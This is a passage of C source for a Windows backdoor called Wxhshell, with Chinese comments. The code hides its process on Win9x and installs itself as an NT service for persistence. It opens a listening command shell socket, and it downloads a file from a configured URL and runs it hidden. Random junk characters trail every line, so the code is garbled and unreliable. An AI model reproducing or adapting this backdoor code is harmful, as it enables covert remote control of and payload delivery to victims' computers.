DWORD AffinityMask; v8zO Y#?
DWORD BasePriority; :3{n(~
ULONG UniqueProcessId; '7g]@Q7
ULONG InheritedFromUniqueProcessId; lYmxd8
} PROCESS_BASIC_INFORMATION; c]"w0a-`^@
.)<l69ZD Z
PROCNTQSIP NtQueryInformationProcess; $4Dr +Z
H
3R)|DGql=1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )4N1EuD6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,y@WFRsx
R ^ZOcONd-
HANDLE hProcess; DB}v..
PROCESS_BASIC_INFORMATION pbi; *BvdL:t
^$]iUb{\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gd$!xN%O
if(NULL == hInst ) return 0; /x<uv_"
DVf}='en8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5n1`$T.WG
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L`(\ud
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7=s0Pm
O$N;a9g
if (!NtQueryInformationProcess) return 0; pu_?)U
0sH~H[ap
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {$>.I
if(!hProcess) return 0; gLg.mV1<
<$ qT(3w<y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #fk1'c2
].sD#~L_
CloseHandle(hProcess); '6\ZgOO9
^]Q.V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jp|eKZ
if(hProcess==NULL) return 0; %Y,Ru)5}
8l'W[6
HMODULE hMod; q>wO=qWx
char procName[255]; ) I(9qt>Y
unsigned long cbNeeded; XA;f.u
nW<nOKTnk_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bjI3xAs~
?H>^X)Ph
CloseHandle(hProcess); H[}lzL)
?zfm"o
if(strstr(procName,"services")) return 1; // 以服务启动 KK{_s=t%<
)2# qi/
return 0; // 注册表启动 RJKi98xwJ
} rITA-W O
/qMiv7m~Q
// 主模块 `jyyRwSoe
int StartWxhshell(LPSTR lpCmdLine) Db !8N
{ 5z\,]
SOCKET wsl; %Y"pVBc
BOOL val=TRUE; 7{7Y[F0
int port=0; r4<As` &
struct sockaddr_in door; ;-BN~1Jg
# ,97 ]
if(wscfg.ws_autoins) Install(); |'I>Ojm
KW3<5+w]c
port=atoi(lpCmdLine); <L<^uFB
u /DE
if(port<=0) port=wscfg.ws_port; q*tGlM@R?
k~3\0man
WSADATA data; <4<y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A&M(a
$F[+H Wf
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C+"c^9[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HF"TS*
door.sin_family = AF_INET; IP@3R(DS%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U$3DIJVI
door.sin_port = htons(port); \)6bLB!
wLb:FB2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4jGN:*kZ
closesocket(wsl); t0r0{:
return 1; +@yU `
} 5#s],h
^q#[oO
if(listen(wsl,2) == INVALID_SOCKET) { 2,^> lY
closesocket(wsl); U_;="y
return 1; -7'|&zP
} bfm+!9=9S
Wxhshell(wsl); 0pG +yec
WSACleanup(); N%ccy?B
d R=0K
return 0; b)M-q{
ob'"
^LO\
} #XB3Wden2
TU58
// 以NT服务方式启动 gK@`0/k{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !3\$XK]5ZT
{ M d8(P23hS
DWORD status = 0; sC.r$K+k5
DWORD specificError = 0xfffffff; `9gV8u
x*RSD,3
serviceStatus.dwServiceType = SERVICE_WIN32; 6 eu7&Kj'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0rz1b6F5,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *po
o.Zz
serviceStatus.dwWin32ExitCode = 0; Km!ACA&s6
serviceStatus.dwServiceSpecificExitCode = 0; iSR"$H{
serviceStatus.dwCheckPoint = 0; BFhEDkk
serviceStatus.dwWaitHint = 0; nB5\ocJ
\13Q >iAu
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *3!r &iY
if (hServiceStatusHandle==0) return; w!v^6[!
NZa 7[}H
status = GetLastError(); `(`-S
md
if (status!=NO_ERROR) 68(^*
{ cruBJZr*
serviceStatus.dwCurrentState = SERVICE_STOPPED; = :zPT;K
serviceStatus.dwCheckPoint = 0; @YQ*a4`
serviceStatus.dwWaitHint = 0; HFTeG4R
serviceStatus.dwWin32ExitCode = status; /#SfgcDt
serviceStatus.dwServiceSpecificExitCode = specificError; 9_F&G('V{a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LI25VDZ|iP
return; l6 }+,v@#
} f~PS'I_r
7R
m\#
serviceStatus.dwCurrentState = SERVICE_RUNNING; NZ&ZK@h}.
serviceStatus.dwCheckPoint = 0; ao=e{R)
serviceStatus.dwWaitHint = 0; x?lRObHK
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `LLmdm 6i
} /5z,G r
"
DLIx}
// 处理NT服务事件,比如:启动、停止 5c(g7N
VOID WINAPI NTServiceHandler(DWORD fdwControl) "C&>$h_%
{ LwxJ:Kz.
switch(fdwControl) bvrXz-j
{ - 0q263z
case SERVICE_CONTROL_STOP: _9H]:]1QH
serviceStatus.dwWin32ExitCode = 0; d>W#c8X>
serviceStatus.dwCurrentState = SERVICE_STOPPED; {.p;V
serviceStatus.dwCheckPoint = 0; hkm}oYW+
serviceStatus.dwWaitHint = 0; %&VI-7+K
{
(n~fe-?}8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y\WVkd(+G
} lY(_e#
return; >o v#\
case SERVICE_CONTROL_PAUSE: *?~"Jw
serviceStatus.dwCurrentState = SERVICE_PAUSED; n7G`b'
break; s$qc&
case SERVICE_CONTROL_CONTINUE: q
:~/2<o
serviceStatus.dwCurrentState = SERVICE_RUNNING; je2"D7D
break; K]Vp! G
case SERVICE_CONTROL_INTERROGATE: )=X g
break; MffCk!]
}; QV HI}3~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ='w 2"4
} ?u?mSO/
iAk.pH]a
// 标准应用程序主函数 B(vCi^
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z<^EZX3N
{ [7~AWZU3
J$5G8<d>
// 获取操作系统版本 ?Js4\X!uJ
OsIsNt=GetOsVer(); zh0T3U0D
GetModuleFileName(NULL,ExeFile,MAX_PATH); U1Fo #L
>i >|]
// 从命令行安装 =)c-Xz
if(strpbrk(lpCmdLine,"iI")) Install(); _?cum~A@
)g^qgxnnV
// 下载执行文件 oqysfLJ
if(wscfg.ws_downexe) { q+oc^FD?@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8!!h6dQgI
WinExec(wscfg.ws_filenam,SW_HIDE); )*XWe|H_
} ?PTXgIC
ILl~f\xG)
if(!OsIsNt) { !l0"nPM=
// 如果时win9x,隐藏进程并且设置为注册表启动 .{ljhE:
HideProc(); cF=W hP*f
StartWxhshell(lpCmdLine); 2gkN\w6zQ
} r-!Qw1
else ^2 H-_
if(StartFromService()) #.*w)
// 以服务方式启动 $ (xdF
StartServiceCtrlDispatcher(DispatchTable); 1 n&%L8]
else Sw"h!\c`
// 普通方式启动 P(2OTfGGx
StartWxhshell(lpCmdLine); iymN|KdpaZ
:aaX Y:<
return 0; |4
\2,M#
}